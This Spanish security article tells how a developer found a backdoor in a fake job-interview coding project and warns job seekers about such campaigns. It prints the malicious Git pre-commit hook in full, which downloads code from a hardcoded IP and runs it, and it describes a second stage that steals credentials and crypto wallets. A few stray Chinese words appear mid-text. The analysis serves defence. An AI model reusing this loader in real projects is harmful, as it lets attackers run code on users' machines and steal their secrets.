Cuando la prueba de entrevista se convierte en troyano: Una «contratación» cuidadosamente orquestada
El jueves pasado, un desarrollador llamado Appaji recibió un mensaje de reclutamiento en LinkedIn. Le ofrecían un puesto remoto de desarrollador Python con un salario de 10 000 a 15 000 dólares mensuales. El proceso de entrevista era sencillo: una ronda online más un «proyecto para casa» (take-home project). Un sueldo tentador, la empresa era una startup incubada por Y Combinator — todo parecía razonable.
Pero Appaji desconfió. Descargó el archivo comprimido del proyecto en su máquina local y, por costumbre, ejecutó tree -a para inspeccionar los directorios ocultos. Entre el denso árbol de archivos, vio un archivo inusual: .git/hooks/pre-commit. Lo abrió — era un script de descarga remota que detectaba automáticamente el sistema operativo. Según si tu equipo era macOS, Linux o Windows, descargaba sigilosamente el backdoor correspondiente y lo ejecutaba en segundo plano sin hacer ruido. Era, en esencia, un ataque cuidadosamente diseñado para robar claves SSH, credenciales de AWS, carteras de criptomonedas… convirtiendo todo el entorno de desarrollo del candidato en una caja fuerte abierta, sin que este se diera cuenta.
Nota: El mensaje de LinkedIn que recibió, donde el reclutador revelaba el rango salarial desde el primer contacto. Aunque no es raro en procesos reales, en retrospectiva el salario excesivamente alto fue la primera bandera roja.
El guion completo de una «entrevista»
El autor reconstruyó la cadena de ataque completa basándose en el análisis técnico que Appaji hizo público.
Paso 1: Phishing — ¿quién le dice que no a un buen sueldo?
El reclutador contactó directamente a la víctima por LinkedIn. El rango salarial era extremadamente atractivo, muy por encima del promedio en el mercado indio. La reacción natural de la víctima fue pensar «qué suerte tengo». El proceso de entrevista fue sorprendentemente rápido: tras enviar el currículum, fue aceptado de inmediato.
Paso 2: Un proyecto de programación de aspecto profesional
El reclutador envió un enlace de Google Drive con un archivo ZIP y un PDF con las instrucciones de la entrevista. El código del proyecto era un backend FastAPI con SQLAlchemy como ORM — la plantilla estándar de una prueba técnica de Python. El archivo requirements.txt estaba limpio, sin ningún paquete第三方 sospechoso.
Paso 3: La «bomba de relojería» escondida en .git/hooks
Pero Appaji, al ejecutar tree -a para ver todos los archivos ocultos, descubrió que el directorio .git/hooks contenía más de 20 scripts de Git hooks. Los hooks de Git son una funcionalidad poderosa aunque poco conocida del sistema de control de versiones Git — permiten ejecutar scripts automáticamente en eventos específicos (como al hacer git commit). Es una herramienta de productividad que, mal utilizada, se convierte en un vehículo ideal para el malware.
El hook pre-commit se activa automáticamente al ejecutar git commit. Su lógica central era solo unas líneas:
#!/bin/sh
case "$(uname -s)" in
Darwin*) curl -sL 'http://45.61.164.38:5777/task/mac?id=402' -L | sh > /dev/null 2>&1 & ;;
Linux*) wget -qO- 'http://45.61.164.38:5777/task/linux?id=402' -L | sh > /dev/null 2>&1 & ;;
MINGW*|MSYS*|CYGWIN*) curl -sL http://45.61.164.38:5777/task/windows?id=402 -L | cmd > /dev/null 2>&1 & ;;
esacEste código primero detecta el sistema operativo objetivo, luego descarga un script desde un servidor remoto y lo ejecuta silenciosamente en segundo plano — sin necesidad de interacción del usuario, sin ventanas emergentes. En cuanto ejecutas git commit, el script ya está trabajando sin que te des cuenta.
El PDF con las instrucciones de la entrevista incluía precisamente un ejercicio de Git — pedía al candidato modificar el código y luego hacer commit, justo para activar el hook.
Paso 4: Carga en múltiples etapas — el programa espía oculto en «dependencias npm»
El script de primera etapa descargaba un segundo script desde el mismo servidor, lo guardaba silenciosamente en ~/Documents/ renombrándolo como .sh, y lo ejecutaba en segundo plano mediante nohup. El segundo script tenía un objetivo más concreto: instalar Node.js automáticamente, descargar parser.js y package.json, instalar las dependencias con npm y ejecutar parser.js.
El archivo parser.js estaba fuertemente ofuscado, pero su package.json revelaba las intenciones del atacante: las dependencias incluían clipboardy (lectura del portapapeles), basic-ftp (transferencia FTP), axios (solicitudes HTTP), jsonwebtoken (manipulación de tokens JWT) y hardhat (herramientas de desarrollo para Ethereum). Esto sugería que el atacante no solo quería robar claves SSH y credenciales de AWS, sino que también buscaba información de carteras de criptomonedas.
Nota: El reclutador reveló el rango salarial en el primer contacto. Análisis posteriores concluyeron que el salario excesivo era un «cebo» típico — para que la víctima bajara la guardia en medio de la emoción y las expectativas.
Desde otra perspectiva: ¿qué tan profesional era el atacante?
Este incidente va mucho más allá de un troyano común.
Mecanismo de activación inteligente. El atacante incluyó deliberadamente un ejercicio de Git en el PDF de instrucciones para que la víctima «voluntariamente» ejecutara git commit y activara el código malicioso. Cada paso estaba calculado para que la víctima actuara según lo previsto.
Cobertura multiplataforma. El script de ataque cubría los tres sistemas operativos principales — macOS, Linux y Windows — usando diferentes herramientas y comandos de descarga para cada plataforma. Esto demuestra que el atacante planeaba desde el inicio un ataque a gran escala, no dirigido a un tipo específico de desarrollador.
Sistema de identificación de víctimas. El parámetro id=402 en la URL de la solicitud no era estático. Cambiar este ID devolvía scripts diferentes. El autor deduce que el atacante probablemente asignaba un identificador único a cada víctima para rastrear quiénes habían «picado» y distribuir cargas diferentes según el objetivo.
Múltiples vectores de propagación. Además de ocultar el malware en .git/hooks, el atacante usó otra variante que aprovechaba las tareas de inicio de VSCode en el directorio .vscode. Con solo abrir el proyecto en VSCode y «confiar» en el autor, el código malicioso se ejecutaba automáticamente.
Pero también tenía aspectos amateur. El servidor C2 usaba una dirección IP hardcodeada en texto plano, sin un dominio que la disimulara, lo que resulta algo «primitivo» para el malware moderno. Sin embargo, el servidor SSH era la versión más reciente, 9.6p1 — lo que indica cierto conocimiento de seguridad operativa.
Esta combinación de características — tanto descuidos como refinamientos — lleva al autor a pensar que probablemente se trata de un grupo criminal mediano que está iterando rápidamente sus herramientas de ataque.
¿Por qué los programadores se han convertido en «presas»?
El hecho de que el ataque se centre en desarrolladores que buscan empleo no es casualidad.
Las claves son activos. En el ordenador de un programador (especialmente de backend o DevOps) casi con toda seguridad hay claves privadas SSH, credenciales de acceso a AWS/GCP/Azure, contraseñas de bases de datos, tokens de API… Comprometer el ordenador de un desarrollador equivale a tener las llaves de toda la infraestructura cloud de su empresa. Una clave SSH privada vale mucho más en el mercado negro que los datos de una cuenta bancaria común.
Inercia de confianza. El contexto de una entrevista proporciona una cobertura natural para el ataque. Cuando una persona está buscando trabajo activamente, su estado mental es «esperar ser aceptado» y «cooperar con el proceso». Que el entrevistador te pida hacer un ejercicio de programación, clonar un repositorio o ejecutar comandos — todo esto le parece perfectamente normal al candidato. El atacante aprovecha esta confianza asimétrica con precisión.
Bajo coste técnico, alta recompensa. Crear un proyecto FastAPI que tenga una apariencia decente solo lleva unas horas. Clonar un repositorio open source real, añadirle los hooks maliciosos y reempaquetarlo — el coste es mínimo, y si tiene éxito, el beneficio potencial asciende a cientos de miles de dólares.
Los «ataques de entrevista» se duplican
Lo que le ocurrió a Appaji no es un caso aislado. El equipo de seguridad de Microsoft ha bautizado este tipo de ataque como «Contagious Interview» (Entrevista Contagiosa) , señalando que la actividad comenzó al menos en diciembre de 2022. Los atacantes se hacen pasar por reclutadores de empresas de criptomonedas o IA, distribuyendo pruebas de programación con puertas traseras a través de plataformas de alojamiento de código.
Según las estadísticas de la comunidad de seguridad, en la primera mitad de 2026 los casos de este tipo de «ataques de entrevista» se han más que duplicado en comparación con el mismo período del año anterior. En Hacker News, varios desarrolladores compartieron experiencias similares — uno de ellos, llamado IvanGoncharov, mencionó que en una entrevista online le pidieron clonar y ejecutar un repositorio como evaluación técnica; después de la entrevista, el «CTO» canceló el proceso siguiente alegando enfermedad, y unos días después la cuenta de LinkedIn de la recruitadora también desapareció. Hasta que leyó el artículo de Appaji, no se dio cuenta de que había sido víctima — casualmente, él era un antiguo mantenedor de un paquete npm con más de 43 millones de descargas semanales, lo que lo convertía en un objetivo de mayor valor. Tuvo que formatear su ordenador por completo y reinstalar el sistema.
Nota: La extensión .npl está asociada con actividades conocidas de ataques APT. El atacante usó esta extensión en la primera etapa de la carga para eludir comprobaciones simples de nombres de archivo.
Cómo protegerse: Consejos prácticos para quienes buscan empleo
El autor no pretende sembrar el pánico, pero conocer algunas precauciones básicas puede evitar que seas la próxima víctima. Aquí van algunos consejos:
1. Ejecuta siempre los proyectos de entrevista en un entorno aislado. Antes de ejecutar el proyecto localmente, usa una máquina virtual o un contenedor Docker para aislarlo. Ejecuta tree -a o ls -la para comprobar si hay archivos ocultos sospechosos o hooks preinstalados.
2. Revisa los directorios .git/hooks y .vscode. Si el proyecto de la entrevista incluye un repositorio Git, revisa si hay scripts adicionales en .git/hooks, especialmente pre-commit y post-checkout. En proyectos de VSCode, verifica .vscode/tasks.json y .vscode/launch.json.
3. Desconfía de la combinación «salto alto + proceso de entrevista sencillo». No es que un salario alto sea necesariamente sospechoso, pero un sueldo muy por encima del mercado combinado con un proceso de entrevista extremadamente simplificado es en sí mismo una señal de alerta.
4. No conserves credenciales importantes en el ordenador de las entrevistas. Durante tu búsqueda de empleo, considera usar un dispositivo de desarrollo «limpio» o un entorno virtual, y no almacenes claves SSH importantes ni credenciales de servicios cloud en la máquina donde puedas ejecutar proyectos de entrevista.
5. Examina las dependencias y los scripts de construcción. Antes de ejecutar npm install o pip install, revisa package.json, requirements.txt y `Makefile» — ¿hay dependencias que no tienen sentido? ¿Hay scripts que se ejecutan durante la instalación?
6. Comprueba la «fecha de caducidad» del perfil de LinkedIn del reclutador. Si la cuenta de LinkedIn del reclutador es demasiado «nueva» (creada recientemente, pocos contactos, experiencia laboral difusa), es muy probable que sea una cuenta falsa. Un reclutador genuino suele tener años de historial laboral en RR. HH. y una red profesional visible.
Epílogo
Al releer esta historia, lo que más invita a la reflexión es esa sensación de «por poco lo creo». El propio Appaji reconoce que, si no fuera por el hábito que adquirió en competiciones CTF de inspeccionar los directorios ocultos, probablemente habría hecho git commit y push — encajaba perfectamente en el perfil de «víctima合格» que el atacante esperaba: con experiencia, buen técnico, buscando trabajo.
Lo aterrador de este ataque es que explota el mecanismo de confianza más básico de la sociedad humana: «lo que te pide el entrevistador, en teoría, es seguro y necesario». Cuando el código malicioso se envuelve en un proceso de búsqueda de empleo perfectamente normal, ni el antivirus más avanzado puede hacer nada.
Quizás, en el campo de batalla de la seguridad digital, ese pensamiento de «esta vez no debería pasar nada» es el verdadero eslabón débil.
Enlaces de referencia
- I Inspected My Take-Home Interview Project. It Was a Whole Operation (artículo original)
- Contagious Interview: Malware delivered through fake developer job interviews (blog de seguridad de Microsoft)
- Fake Job Interview Backdoor Malware Targeting Developer Machines (DEV Community)
- Contagious Interview malware in SVG images: DPRK campaign (Elastic Security Labs)
- Hilo de discusión en Hacker News (ID: 49013036)
